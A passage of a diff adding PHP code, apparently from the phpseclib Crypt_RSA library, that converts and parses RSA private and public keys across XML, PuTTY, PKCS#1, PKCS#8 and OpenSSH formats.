+            'exponent1' => $exponents[1]->toBytes($signed),
+            'exponent2' => $exponents[2]->toBytes($signed),
+            'coefficient' => $coefficients[2]->toBytes($signed)
+        );
+
+        // if the format in question does not support multi-prime rsa and multi-prime rsa was used,
+        // call _convertPublicKey() instead.
+        switch ($this->privateKeyFormat) {
+            case CRYPT_RSA_PRIVATE_FORMAT_XML:
+                if ($num_primes != 2) {
+                    return false;
+                }
+                return "<RSAKeyValue>\r\n" .
+                       '  <Modulus>' . base64_encode($raw['modulus']) . "</Modulus>\r\n" .
+                       '  <Exponent>' . base64_encode($raw['publicExponent']) . "</Exponent>\r\n" .
+                       '  <P>' . base64_encode($raw['prime1']) . "</P>\r\n" .
+                       '  <Q>' . base64_encode($raw['prime2']) . "</Q>\r\n" .
+                       '  <DP>' . base64_encode($raw['exponent1']) . "</DP>\r\n" .
+                       '  <DQ>' . base64_encode($raw['exponent2']) . "</DQ>\r\n" .
+                       '  <InverseQ>' . base64_encode($raw['coefficient']) . "</InverseQ>\r\n" .
+                       '  <D>' . base64_encode($raw['privateExponent']) . "</D>\r\n" .
+                       '</RSAKeyValue>';
+                break;
+            case CRYPT_RSA_PRIVATE_FORMAT_PUTTY:
+                if ($num_primes != 2) {
+                    return false;
+                }
+                $key = "PuTTY-User-Key-File-2: ssh-rsa\r\nEncryption: ";
+                $encryption = (!empty($this->password) || is_string($this->password)) ? 'aes256-cbc' : 'none';
+                $key.= $encryption;
+                $key.= "\r\nComment: " . $this->comment . "\r\n";
+                $public = pack('Na*Na*Na*',
+                    strlen('ssh-rsa'), 'ssh-rsa', strlen($raw['publicExponent']), $raw['publicExponent'], strlen($raw['modulus']), $raw['modulus']
+                );
+                $source = pack('Na*Na*Na*Na*',
+                    strlen('ssh-rsa'), 'ssh-rsa', strlen($encryption), $encryption,
+                    strlen($this->comment), $this->comment, strlen($public), $public
+                );
+                $public = base64_encode($public);
+                $key.= "Public-Lines: " . ((strlen($public) + 63) >> 6) . "\r\n";
+                $key.= chunk_split($public, 64);
+                $private = pack('Na*Na*Na*Na*',
+                    strlen($raw['privateExponent']), $raw['privateExponent'], strlen($raw['prime1']), $raw['prime1'],
+                    strlen($raw['prime2']), $raw['prime2'], strlen($raw['coefficient']), $raw['coefficient']
+                );
+                if (empty($this->password) && !is_string($this->password)) {
+                    $source.= pack('Na*', strlen($private), $private);
+                    $hashkey = 'putty-private-key-file-mac-key';
+                } else {
+                    $private.= crypt_random_string(16 - (strlen($private) & 15));
+                    $source.= pack('Na*', strlen($private), $private);
+                    if (!class_exists('Crypt_AES')) {
+                        include_once 'Crypt/AES.php';
+                    }
+                    $sequence = 0;
+                    $symkey = '';
+                    while (strlen($symkey) < 32) {
+                        $temp = pack('Na*', $sequence++, $this->password);
+                        $symkey.= pack('H*', sha1($temp));
+                    }
+                    $symkey = substr($symkey, 0, 32);
+                    $crypto = new Crypt_AES();
+
+                    $crypto->setKey($symkey);
+                    $crypto->disablePadding();
+                    $private = $crypto->encrypt($private);
+                    $hashkey = 'putty-private-key-file-mac-key' . $this->password;
+                }
+
+                $private = base64_encode($private);
+                $key.= 'Private-Lines: ' . ((strlen($private) + 63) >> 6) . "\r\n";
+                $key.= chunk_split($private, 64);
+                if (!class_exists('Crypt_Hash')) {
+                    include_once 'Crypt/Hash.php';
+                }
+                $hash = new Crypt_Hash('sha1');
+                $hash->setKey(pack('H*', sha1($hashkey)));
+                $key.= 'Private-MAC: ' . bin2hex($hash->hash($source)) . "\r\n";
+
+                return $key;
+            default: // eg. CRYPT_RSA_PRIVATE_FORMAT_PKCS1
+                $components = array();
+                foreach ($raw as $name => $value) {
+                    $components[$name] = pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($value)), $value);
+                }
+
+                $RSAPrivateKey = implode('', $components);
+
+                if ($num_primes > 2) {
+                    $OtherPrimeInfos = '';
+                    for ($i = 3; $i <= $num_primes; $i++) {
+                        // OtherPrimeInfos ::= SEQUENCE SIZE(1..MAX) OF OtherPrimeInfo
+                        //
+                        // OtherPrimeInfo ::= SEQUENCE {
+                        //     prime             INTEGER,  -- ri
+                        //     exponent          INTEGER,  -- di
+                        //     coefficient       INTEGER   -- ti
+                        // }
+                        $OtherPrimeInfo = pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($primes[$i]->toBytes(true))), $primes[$i]->toBytes(true));
+                        $OtherPrimeInfo.= pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($exponents[$i]->toBytes(true))), $exponents[$i]->toBytes(true));
+                        $OtherPrimeInfo.= pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($coefficients[$i]->toBytes(true))), $coefficients[$i]->toBytes(true));
+                        $OtherPrimeInfos.= pack('Ca*a*', CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($OtherPrimeInfo)), $OtherPrimeInfo);
+                    }
+                    $RSAPrivateKey.= pack('Ca*a*', CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($OtherPrimeInfos)), $OtherPrimeInfos);
+                }
+
+                $RSAPrivateKey = pack('Ca*a*', CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($RSAPrivateKey)), $RSAPrivateKey);
+
+                if ($this->privateKeyFormat == CRYPT_RSA_PRIVATE_FORMAT_PKCS8) {
+                    $rsaOID = pack('H*', '300d06092a864886f70d0101010500'); // hex version of MA0GCSqGSIb3DQEBAQUA
+                    $RSAPrivateKey = pack('Ca*a*Ca*a*',
+                        CRYPT_RSA_ASN1_INTEGER, "\01\00", $rsaOID, 4, $this->_encodeLength(strlen($RSAPrivateKey)), $RSAPrivateKey
+                    );
+                    $RSAPrivateKey = pack('Ca*a*', CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($RSAPrivateKey)), $RSAPrivateKey);
+                    if (!empty($this->password) || is_string($this->password)) {
+                        $salt = crypt_random_string(8);
+                        $iterationCount = 2048;
+
+                        if (!class_exists('Crypt_DES')) {
+                            include_once 'Crypt/DES.php';
+                        }
+                        $crypto = new Crypt_DES();
+                        $crypto->setPassword($this->password, 'pbkdf1', 'md5', $salt, $iterationCount);
+                        $RSAPrivateKey = $crypto->encrypt($RSAPrivateKey);
+
+                        $parameters = pack('Ca*a*Ca*N',
+                            CRYPT_RSA_ASN1_OCTETSTRING, $this->_encodeLength(strlen($salt)), $salt,
+                            CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(4), $iterationCount
+                        );
+                        $pbeWithMD5AndDES_CBC = "\x2a\x86\x48\x86\xf7\x0d\x01\x05\x03";
+
+                        $encryptionAlgorithm = pack('Ca*a*Ca*a*',
+                            CRYPT_RSA_ASN1_OBJECT, $this->_encodeLength(strlen($pbeWithMD5AndDES_CBC)), $pbeWithMD5AndDES_CBC,
+                            CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($parameters)), $parameters
+                        );
+
+                        $RSAPrivateKey = pack('Ca*a*Ca*a*',
+                            CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($encryptionAlgorithm)), $encryptionAlgorithm,
+                            CRYPT_RSA_ASN1_OCTETSTRING, $this->_encodeLength(strlen($RSAPrivateKey)), $RSAPrivateKey
+                        );
+
+                        $RSAPrivateKey = pack('Ca*a*', CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($RSAPrivateKey)), $RSAPrivateKey);
+
+                        $RSAPrivateKey = "-----BEGIN ENCRYPTED PRIVATE KEY-----\r\n" .
+                                         chunk_split(base64_encode($RSAPrivateKey), 64) .
+                                         '-----END ENCRYPTED PRIVATE KEY-----';
+                    } else {
+                        $RSAPrivateKey = "-----BEGIN PRIVATE KEY-----\r\n" .
+                                         chunk_split(base64_encode($RSAPrivateKey), 64) .
+                                         '-----END PRIVATE KEY-----';
+                    }
+                    return $RSAPrivateKey;
+                }
+
+                if (!empty($this->password) || is_string($this->password)) {
+                    $iv = crypt_random_string(8);
+                    $symkey = pack('H*', md5($this->password . $iv)); // symkey is short for symmetric key
+                    $symkey.= substr(pack('H*', md5($symkey . $this->password . $iv)), 0, 8);
+                    if (!class_exists('Crypt_TripleDES')) {
+                        include_once 'Crypt/TripleDES.php';
+                    }
+                    $des = new Crypt_TripleDES();
+                    $des->setKey($symkey);
+                    $des->setIV($iv);
+                    $iv = strtoupper(bin2hex($iv));
+                    $RSAPrivateKey = "-----BEGIN RSA PRIVATE KEY-----\r\n" .
+                                     "Proc-Type: 4,ENCRYPTED\r\n" .
+                                     "DEK-Info: DES-EDE3-CBC,$iv\r\n" .
+                                     "\r\n" .
+                                     chunk_split(base64_encode($des->encrypt($RSAPrivateKey)), 64) .
+                                     '-----END RSA PRIVATE KEY-----';
+                } else {
+                    $RSAPrivateKey = "-----BEGIN RSA PRIVATE KEY-----\r\n" .
+                                     chunk_split(base64_encode($RSAPrivateKey), 64) .
+                                     '-----END RSA PRIVATE KEY-----';
+                }
+
+                return $RSAPrivateKey;
+        }
+    }
+
+    /**
+     * Convert a public key to the appropriate format
+     *
+     * @access private
+     * @see setPublicKeyFormat()
+     * @param String $RSAPrivateKey
+     * @return String
+     */
+    function _convertPublicKey($n, $e)
+    {
+        $signed = $this->publicKeyFormat != CRYPT_RSA_PUBLIC_FORMAT_XML;
+
+        $modulus = $n->toBytes($signed);
+        $publicExponent = $e->toBytes($signed);
+
+        switch ($this->publicKeyFormat) {
+            case CRYPT_RSA_PUBLIC_FORMAT_RAW:
+                return array('e' => $e->copy(), 'n' => $n->copy());
+            case CRYPT_RSA_PUBLIC_FORMAT_XML:
+                return "<RSAKeyValue>\r\n" .
+                       '  <Modulus>' . base64_encode($modulus) . "</Modulus>\r\n" .
+                       '  <Exponent>' . base64_encode($publicExponent) . "</Exponent>\r\n" .
+                       '</RSAKeyValue>';
+                break;
+            case CRYPT_RSA_PUBLIC_FORMAT_OPENSSH:
+                // from <http://tools.ietf.org/html/rfc4253#page-15>:
+                // string    "ssh-rsa"
+                // mpint     e
+                // mpint     n
+                $RSAPublicKey = pack('Na*Na*Na*', strlen('ssh-rsa'), 'ssh-rsa', strlen($publicExponent), $publicExponent, strlen($modulus), $modulus);
+                $RSAPublicKey = 'ssh-rsa ' . base64_encode($RSAPublicKey) . ' ' . $this->comment;
+
+                return $RSAPublicKey;
+            default: // eg. CRYPT_RSA_PUBLIC_FORMAT_PKCS1_RAW or CRYPT_RSA_PUBLIC_FORMAT_PKCS1
+                // from <http://tools.ietf.org/html/rfc3447#appendix-A.1.1>:
+                // RSAPublicKey ::= SEQUENCE {
+                //     modulus           INTEGER,  -- n
+                //     publicExponent    INTEGER   -- e
+                // }
+                $components = array(
+                    'modulus' => pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($modulus)), $modulus),
+                    'publicExponent' => pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($publicExponent)), $publicExponent)
+                );
+
+                $RSAPublicKey = pack('Ca*a*a*',
+                    CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($components['modulus']) + strlen($components['publicExponent'])),
+                    $components['modulus'], $components['publicExponent']
+                );
+
+                if ($this->publicKeyFormat == CRYPT_RSA_PUBLIC_FORMAT_PKCS1_RAW) {
+                    $RSAPublicKey = "-----BEGIN RSA PUBLIC KEY-----\r\n" .
+                                    chunk_split(base64_encode($RSAPublicKey), 64) .
+                                    '-----END RSA PUBLIC KEY-----';
+                } else {
+                    // sequence(oid(1.2.840.113549.1.1.1), null)) = rsaEncryption.
+                    $rsaOID = pack('H*', '300d06092a864886f70d0101010500'); // hex version of MA0GCSqGSIb3DQEBAQUA
+                    $RSAPublicKey = chr(0) . $RSAPublicKey;
+                    $RSAPublicKey = chr(3) . $this->_encodeLength(strlen($RSAPublicKey)) . $RSAPublicKey;
+
+                    $RSAPublicKey = pack('Ca*a*',
+                        CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($rsaOID . $RSAPublicKey)), $rsaOID . $RSAPublicKey
+                    );
+
+                    $RSAPublicKey = "-----BEGIN PUBLIC KEY-----\r\n" .
+                                     chunk_split(base64_encode($RSAPublicKey), 64) .
+                                     '-----END PUBLIC KEY-----';
+                }
+
+                return $RSAPublicKey;
+        }
+    }
+
+    /**
+     * Break a public or private key down into its constituant components
+     *
+     * @access private
+     * @see _convertPublicKey()
+     * @see _convertPrivateKey()
+     * @param String $key
+     * @param Integer $type
+     * @return Array
+     */
+    function _parseKey($key, $type)
+    {
+        if ($type != CRYPT_RSA_PUBLIC_FORMAT_RAW && !is_string($key)) {
+            return false;
+        }
+
+        switch ($type) {
+            case CRYPT_RSA_PUBLIC_FORMAT_RAW:
+                if (!is_array($key)) {
+                    return false;
+                }
+                $components = array();
+                switch (true) {
+                    case isset($key['e']):
+                        $components['publicExponent'] = $key['e']->copy();
+                        break;
+                    case isset($key['exponent']):
+                        $components['publicExponent'] = $key['exponent']->copy();
+                        break;
+                    case isset($key['publicExponent']):
+                        $components['publicExponent'] = $key['publicExponent']->copy();
+                        break;
+                    case isset($key[0]):
+                        $components['publicExponent'] = $key[0]->copy();
+                }
+                switch (true) {
+                    case isset($key['n']):
+                        $components['modulus'] = $key['n']->copy();
+                        break;
+                    case isset($key['modulo']):
+                        $components['modulus'] = $key['modulo']->copy();
+                        break;
+                    case isset($key['modulus']):
+                        $components['modulus'] = $key['modulus']->copy();
+                        break;
+                    case isset($key[1]):
+                        $components['modulus'] = $key[1]->copy();
+                }
+                return isset($components['modulus']) && isset($components['publicExponent']) ? $components : false;
+            case CRYPT_RSA_PRIVATE_FORMAT_PKCS1:
+            case CRYPT_RSA_PRIVATE_FORMAT_PKCS8:
+            case CRYPT_RSA_PUBLIC_FORMAT_PKCS1:
+                /* Although PKCS#1 proposes a format that public and private keys can use, encrypting them is
+                   "outside the scope" of PKCS#1.  PKCS#1 then refers you to PKCS#12 and PKCS#15 if you're wanting to
+                   protect private keys, however, that's not what OpenSSL* does.  OpenSSL protects private keys by adding
+                   two new "fields" to the key - DEK-Info and Proc-Type.  These fields are discussed here:
+
+                   http://tools.ietf.org/html/rfc1421#section-4.6.1.1
+                   http://tools.ietf.org/html/rfc1421#section-4.6.1.3
+
+                   DES-EDE3-CBC as an algorithm, however, is not discussed anywhere, near as I can tell.
+                   DES-CBC and DES-EDE are discussed in RFC1423, however, DES-EDE3-CBC isn't, nor is its key derivation
+                   function.  As is, the definitive authority on this encoding scheme isn't the IETF but rather OpenSSL's
+                   own implementation.  ie. the implementation *is* the standard and any bugs that may exist in that
+                   implementation are part of the standard, as well.
+
+                   * OpenSSL is the de facto standard.  It's utilized by OpenSSH and other projects */
+                if (preg_match('#DEK-Info: (.+),(.+)#', $key, $matches)) {
+                    $iv = pack('H*', trim($matches[2]));
+                    $symkey = pack('H*', md5($this->password . substr($iv, 0, 8))); // symkey is short for symmetric key
+                    $symkey.= pack('H*', md5($symkey . $this->password . substr($iv, 0, 8)));
+                    // remove the Proc-Type / DEK-Info sections as they're no longer needed
+                    $key = preg_replace('#^(?:Proc-Type|DEK-Info): .*#m', '', $key);
+                    $ciphertext = $this->_extractBER($key);
+                    if ($ciphertext === false) {
+                        $ciphertext = $key;
+                    }
+                    switch ($matches[1]) {
+                        case 'AES-256-CBC':
+                            if (!class_exists('Crypt_AES')) {
+                                include_once 'Crypt/AES.php';
+                            }
+                            $crypto = new Crypt_AES();
+                            break;
+                        case 'AES-128-CBC':
+                            if (!class_exists('Crypt_AES')) {
+                                include_once 'Crypt/AES.php';
+                            }
+                            $symkey = substr($symkey, 0, 16);
+                            $crypto = new Crypt_AES();
+                            break;
+                        case 'DES-EDE3-CFB':
+                            if (!class_exists('Crypt_TripleDES')) {
+                                include_once 'Crypt/TripleDES.php';
+                            }
+                            $crypto = new Crypt_TripleDES(CRYPT_DES_MODE_CFB);
+                            break;
+                        case 'DES-EDE3-CBC':
+                            if (!class_exists('Crypt_TripleDES')) {
+                                include_once 'Crypt/TripleDES.php';
+                            }
+                            $symkey = substr($symkey, 0, 24);
+                            $crypto = new Crypt_TripleDES();
+                            break;
+                        case 'DES-CBC':
+                            if (!class_exists('Crypt_DES')) {
+                                include_once 'Crypt/DES.php';
+                            }
+                            $crypto = new Crypt_DES();
+                            break;
+                        default:
+                            return false;
+                    }
+                    $crypto->setKey($symkey);
+                    $crypto->setIV($iv);
+                    $decoded = $crypto->decrypt($ciphertext);
+                } else {
+                    $decoded = $this->_extractBER($key);
+                }
+
+                if ($decoded !== false) {
+                    $key = $decoded;
+                }
+
+                $components = array();
+
+                if (ord($this->_string_shift($key)) != CRYPT_RSA_ASN1_SEQUENCE) {
+                    return false;
+                }
+                if ($this->_decodeLength($key) != strlen($key)) {
+                    return false;
+                }
+
+                $tag = ord($this->_string_shift($key));
+                /* intended for keys for which OpenSSL's asn1parse returns the following:
+
+                    0:d=0  hl=4 l= 631 cons: SEQUENCE
+                    4:d=1  hl=2 l=   1 prim:  INTEGER           :00
+                    7:d=1  hl=2 l=  13 cons:  SEQUENCE
+                    9:d=2  hl=2 l=   9 prim:   OBJECT            :rsaEncryption
+                   20:d=2  hl=2 l=   0 prim:   NULL
+                   22:d=1  hl=4 l= 609 prim:  OCTET STRING
+
+                   ie. PKCS8 keys*/
+
+                if ($tag == CRYPT_RSA_ASN1_INTEGER && substr($key, 0, 3) == "\x01\x00\x30") {
+                    $this->_string_shift($key, 3);
+                    $tag = CRYPT_RSA_ASN1_SEQUENCE;
+                }
+
+                if ($tag == CRYPT_RSA_ASN1_SEQUENCE) {
+                    $temp = $this->_string_shift($key, $this->_decodeLength($key));
+                    if (ord($this->_string_shift($temp)) != CRYPT_RSA_ASN1_OBJECT) {
+                        return false;
+                    }
+                    $length = $this->_decodeLength($temp);
+                    switch ($this->_string_shift($temp, $length)) {
+                        case "\x2a\x86\x48\x86\xf7\x0d\x01\x01\x01": // rsaEncryption
+                            break;
+                        case "\x2a\x86\x48\x86\xf7\x0d\x01\x05\x03": // pbeWithMD5AndDES-CBC
+                            /*
+                               PBEParameter ::= SEQUENCE {
+                                   salt OCTET STRING (SIZE(8)),
+                                   iterationCount INTEGER }
+                            */
+                            if (ord($this->_string_shift($temp)) != CRYPT_RSA_ASN1_SEQUENCE) {
+                                return false;
+                            }
+                            if ($this->_decodeLength($temp) != strlen($temp)) {
+                                return false;
+                            }
+                            $this->_string_shift($temp); // assume it's an octet string
+                            $salt = $this->_string_shift($temp, $this->_decodeLength($temp));
+                            if (ord($this->_string_shift($temp)) != CRYPT_RSA_ASN1_INTEGER) {
+                                return false;
+                            }
+                            $this->_decodeLength($temp);
+                            list(, $iterationCount) = unpack('N', str_pad($temp, 4, chr(0), STR_PAD_LEFT));
+                            $this->_string_shift($key); // assume it's an octet string
+                            $length = $this->_decodeLength($key);
+                            if (strlen($key) != $length) {
+                                return false;
+                            }
+
+                            if (!class_exists('Crypt_DES')) {
+                                include_once 'Crypt/DES.php';
+                            }
+                            $crypto = new Crypt_DES();
+                            $crypto->setPassword($this->password, 'pbkdf1', 'md5', $salt, $iterationCount);
+                            $key = $crypto->decrypt($key);
+                            if ($key === false) {
+                                return false;
+                            }
+                            return $this->_parseKey($key, CRYPT_RSA_PRIVATE_FORMAT_PKCS1);
+                        default:
+                            return false;
+                    }
+                    /* intended for keys for which OpenSSL's asn1parse returns the following:
+
+                        0:d=0  hl=4 l= 290 cons: SEQUENCE
+                        4:d=1  hl=2 l=  13 cons:  SEQUENCE
+                        6:d=2  hl=2 l=   9 prim:   OBJECT            :rsaEncryption
+                       17:d=2  hl=2 l=   0 prim:   NULL
+                       19:d=1  hl=4 l= 271 prim:  BIT STRING */
+                    $tag = ord($this->_string_shift($key)); // skip over the BIT STRING / OCTET STRING tag
+                    $this->_decodeLength($key); // skip over the BIT STRING / OCTET STRING length
+                    // "The initial octet shall encode, as an unsigned binary integer wtih bit 1 as the least significant bit, the number of
+                    //  unused bits in the final subsequent octet. The number shall be in the range zero to seven."
+                    //  -- http://www.itu.int/ITU-T/studygroups/com17/languages/X.690-0207.pdf (section 8.6.2.2)
+                    if ($tag == CRYPT_RSA_ASN1_BITSTRING) {
+                        $this->_string_shift($key);
+                    }
+                    if (ord($this->_string_shift($key)) != CRYPT_RSA_ASN1_SEQUENCE) {
+                        return false;
+                    }
+                    if ($this->_decodeLength($key) != strlen($key)) {
+                        return false;
+                    }
+                    $tag = ord($this->_string_shift($key));
+                }
+                if ($tag != CRYPT_RSA_ASN1_INTEGER) {
+                    return false;
+                }
+
+                $length = $this->_decodeLength($key);
+                $temp = $this->_string_shift($key, $length);
+                if (strlen($temp) != 1 || ord($temp) > 2) {
+                    $components['modulus'] = new Math_BigInteger($temp, 256);
+                    $this->_string_shift($key); // skip over CRYPT_RSA_ASN1_INTEGER
+                    $length = $this->_decodeLength($key);
+                    $components[$type == CRYPT_RSA_PUBLIC_FORMAT_PKCS1 ? 'publicExponent' : 'privateExponent'] = new Math_BigInteger($this->_string_shift($key, $length), 256);
+
+                    return $components;
+                }
+                if (ord($this->_string_shift($key)) != CRYPT_RSA_ASN1_INTEGER) {
+                    return false;
+                }
+                $length = $this->_decodeLength($key);
+                $components['modulus'] = new Math_BigInteger($this->_string_shift($key, $length), 256);
+                $this->_string_shift($key);
+                $length = $this->_decodeLength($key);
+                $components['publicExponent'] = new Math_BigInteger($this->_string_shift($key, $length), 256);
+                $this->_string_shift($key);
+                $length = $this->_decodeLength($key);
+                $components['privateExponent'] = new Math_BigInteger($this->_string_shift($key, $length), 256);
+                $this->_string_shift($key);
+                $length = $this->_decodeLength($key);
+                $components['primes'] = array(1 => new Math_BigInteger($this->_string_shift($key, $length), 256));
+                $this->_string_shift($key);
+                $length = $this->_decodeLength($key);
+                $components['primes'][] = new Math_BigInteger($this->_string_shift($key, $length), 256);
+                $this->_string_shift($key);
+                $length = $this->_decodeLength($key);
+                $components['exponents'] = array(1 => new Math_BigInteger($this->_string_shift($key, $length), 256));
+                $this->_string_shift($key);
+                $length = $this->_decodeLength($key);
+                $components['exponents'][] = new Math_BigInteger($this->_string_shift($key, $length), 256);
+                $this->_string_shift($key);
+                $length = $this->_decodeLength($key);
+                $components['coefficients'] = array(2 => new Math_BigInteger($this->_string_shift($key, $length), 256));
+
+                if (!empty($key)) {
+                    if (ord($this->_string_shift($key)) != CRYPT_RSA_ASN1_SEQUENCE) {
+                        return false;
+                    }
+                    $this->_decodeLength($key);
+                    while (!empty($key)) {
+                        if (ord($this->_string_shift($key)) != CRYPT_RSA_ASN1_SEQUENCE) {
+                            return false;
+                        }
+                        $this->_decodeLength($key);
+                        $key = substr($key, 1);
+                        $length = $this->_decodeLength($key);
+                        $components['primes'][] = new Math_BigInteger($this->_string_shift($key, $length), 256);
+                        $this->_string_shift($key);
+                        $length = $this->_decodeLength($key);
+                        $components['exponents'][] = new Math_BigInteger($this->_string_shift($key, $length), 256);
+                        $this->_string_shift($key);
+                        $length = $this->_decodeLength($key);
+                        $components['coefficients'][] = new Math_BigInteger($this->_string_shift($key, $length), 256);
+                    }
+                }
+
+                return $components;
+            case CRYPT_RSA_PUBLIC_FORMAT_OPENSSH:
+                $parts = explode(' ', $key, 3);
+
+                $key = isset($parts[1]) ? base64_decode($parts[1]) : false;
+                if ($key === false) {
+                    return false;
+                }
+
+                $comment = isset($parts[2]) ? $parts[2] : false;
+
+                $cleanup = substr($key, 0, 11) == "\0\0\0\7ssh-rsa";
+
+                if (strlen($key) <= 4) {
+                    return false;
+                }
+                extract(unpack('Nlength', $this->_string_shift($key, 4)));
+                $publicExponent = new Math_BigInteger($this->_string_shift($key, $length), -256);
+                if (strlen($key) <= 4) {
+                    return false;
+                }
+                extract(unpack('Nlength', $this->_string_shift($key, 4)));
+                $modulus = new Math_BigInteger($this->_string_shift($key, $length), -256);
+
+                if ($cleanup && strlen($key)) {
+                    if (strlen($key) <= 4) {
+                        return false;
+                    }
+                    extract(unpack('Nlength', $this->_string_shift($key, 4)));
+                    $realModulus = new Math_BigInteger($this->_string_shift($key, $length), -256);
+                    return strlen($key) ? false : array(
+                        'modulus' => $realModulus,
+                        'publicExponent' => $modulus,
+                        'comment' => $comment
+                    );
+                } else {
+                    return strlen($key) ? false : array(
+                        'modulus' => $modulus,
+                        'publicExponent' => $publicExponent,
+                        'comment' => $comment
+                    );
+                }
+            // http://www.w3.org/TR/xmldsig-core/#sec-RSAKeyValue
+            // http://en.wikipedia.org/wiki/XML_Signature
+            case CRYPT_RSA_PRIVATE_FORMAT_XML:
+            case CRYPT_RSA_PUBLIC_FORMAT_XML:
+                $this->components = array();
+
+                $xml = xml_parser_create('UTF-8');
+                xml_set_object($xml, $this);
+                xml_set_element_handler($xml, '_start_element_handler', '_stop_element_handler');
+                xml_set_character_data_handler($xml, '_data_handler');
+                // add <xml></xml> to account for "dangling" tags like <BitStrength>...</BitStrength> that are sometimes added
+                if (!xml_parse($xml, '<xml>' . $key . '</xml>')) {
+                    return false;
+                }
+
+                return isset($this->components['modulus']) && isset($this->components['publicExponent']) ? $this->components : false;
+            // from PuTTY's SSHPUBK.C
+            case CRYPT_RSA_PRIVATE_FORMAT_PUTTY:
+                $components = array();
+                $key = preg_split('#\r\n|\r|\n#', $key);
+                $type = trim(preg_replace('#PuTTY-User-Key-File-2: (.+)#', '$1', $key[0]));
+                if ($type != 'ssh-rsa') {
+                    return false;
+                }
+                $encryption = trim(preg_replace('#Encryption: (.+)#', '$1', $key[1]));
+                $comment = trim(preg_replace('#Comment: (.+)#', '$1', $key[2]));
+
+                $publicLength = trim(preg_replace('#Public-Lines: (\d+)#', '$1', $key[3]));
+                $public = base64_decode(implode('', array_map('trim', array_slice($key, 4, $publicLength))));
+                $public = substr($public, 11);
+                extract(unpack('Nlength', $this->_string_shift($public, 4)));
+                $components['publicExponent'] = new Math_BigInteger($this->_string_shift($public, $length), -256);
+                extract(unpack('Nlength', $this->_string_shift($public, 4)));
+                $components['modulus'] = new Math_BigInteger($this->_string_shift($public, $length), -256);
+
+                $privateLength = trim(preg_replace('#Private-Lines: (\d+)#', '$1', $key[$publicLength + 4]));
+                $private = base64_decode(implode('', array_map('trim', array_slice($key, $publicLength + 5, $privateLength))));
+
+                switch ($encryption) {
+                    case 'aes256-cbc':
+                        if (!class_exists('Crypt_AES')) {
+                            include_once 'Crypt/AES.php';
+                        }
+                        $symkey = '';
+                        $sequence = 0;
+                        while (strlen($symkey) < 32) {
+                            $temp = pack('Na*', $sequence++, $this->password);
+                            $symkey.= pack('H*', sha1($temp));
+                        }
+                        $symkey = substr($symkey, 0, 32);
+                        $crypto = new Crypt_AES();
+                }
+
+                if ($encryption != 'none') {
+                    $crypto->setKey($symkey);
+                    $crypto->disablePadding();
+                    $private = $crypto->decrypt($private);
+                    if ($private === false) {
+                        return false;
+                    }
+                }
+
+                extract(unpack('Nlength', $this->_string_shift($private, 4)));
+                if (strlen($private) < $length) {
+                    return false;
+                }
+                $components['privateExponent'] = new Math_BigInteger($this->_string_shift($private, $length), -256);
+                extract(unpack('Nlength', $this->_string_shift($private, 4)));
+                if (strlen($private) < $length) {
+                    return false;
+                }
+                $components['primes'] = array(1 => new Math_BigInteger($this->_string_shift($private, $length), -256));
+                extract(unpack('Nlength', $this->_string_shift($private, 4)));
+                if (strlen($private) < $length) {
+                    return false;
+                }
+                $components['primes'][] = new Math_BigInteger($this->_string_shift($private, $length), -256);
+
+                $temp = $components['primes'][1]->subtract($this->one);
+                $components['exponents'] = array(1 => $components['publicExponent']->modInverse($temp));
+                $temp = $components['primes'][2]->subtract($this->one);
+                $components['exponents'][] = $components['publicExponent']->modInverse($temp);
+
+                extract(unpack('Nlength', $this->_string_shift($private, 4)));
+                if (strlen($private) < $length) {
+                    return false;
+                }
+                $components['coefficients'] = array(2 => new Math_BigInteger($this->_string_shift($private, $length), -256));
+
+                return $components;
+        }
+    }
+
+    /**
+     * Returns the key size
+     *
+     * More specifically, this returns the size of the modulo in bits.
+     *
+     * @access public
+     * @return Integer
+     */
+    function getSize()
+    {
+        return !isset($this->modulus) ? 0 : strlen($this->modulus->toBits());
+    }
+
+    /**
+     * Start Element Handler
+     *
+     * Called by xml_set_element_handler()
+     *
+     * @access private
+     * @param Resource $parser
+     * @param String $name
+     * @param Array $attribs
+     */
+    function _start_element_handler($parser, $name, $attribs)
+    {
+        //$name = strtoupper($name);
+        switch ($name) {
+            case 'MODULUS':
+                $this->current = &$this->components['modulus'];
+                break;
+            case 'EXPONENT':
+                $this->current = &$this->components['publicExponent'];
+                break;
+            case 'P':
+                $this->current = &$this->components['primes'][1];
+                break;
+            case 'Q':
+                $this->current = &$this->components['primes'][2];
+                break;
+            case 'DP':
+                $this->current = &$this->components['exponents'][1];
+                break;
+            case 'DQ':
+                $this->current = &$this->components['exponents'][2];
+                break;
+            case 'INVERSEQ':
+                $this->current = &$this->components['coefficients'][2];
+                break;
+            case 'D':
+                $this->current = &$this->components['privateExponent'];
+        }
+        $this->current = '';
+    }
+
+    /**
+     * Stop Element Handler
+     *
+     * Called by xml_set_element_handler()
+     *
+     * @access private
+     * @param Resource $parser
+     * @param String $name
+     */
+    function _stop_element_handler($parser, $name)
+    {
+        if (isset($this->current)) {
+            $this->current = new Math_BigInteger(base64_decode($this->current), 256);
+            unset($this->current);
+        }
+    }
+
+    /**
+     * Data Handler
+     *
+     * Called by xml_set_character_data_handler()
+     *
+     * @access private
+     * @param Resource $parser
+     * @param String $data
+     */
+    function _data_handler($parser, $data)
+    {
+        if (!isset($this->current) || is_object($this->current)) {
+            return;
+        }
+        $this->current.= trim($data);
+    }
+
+    /**
+     * Loads a public or private key
+     *
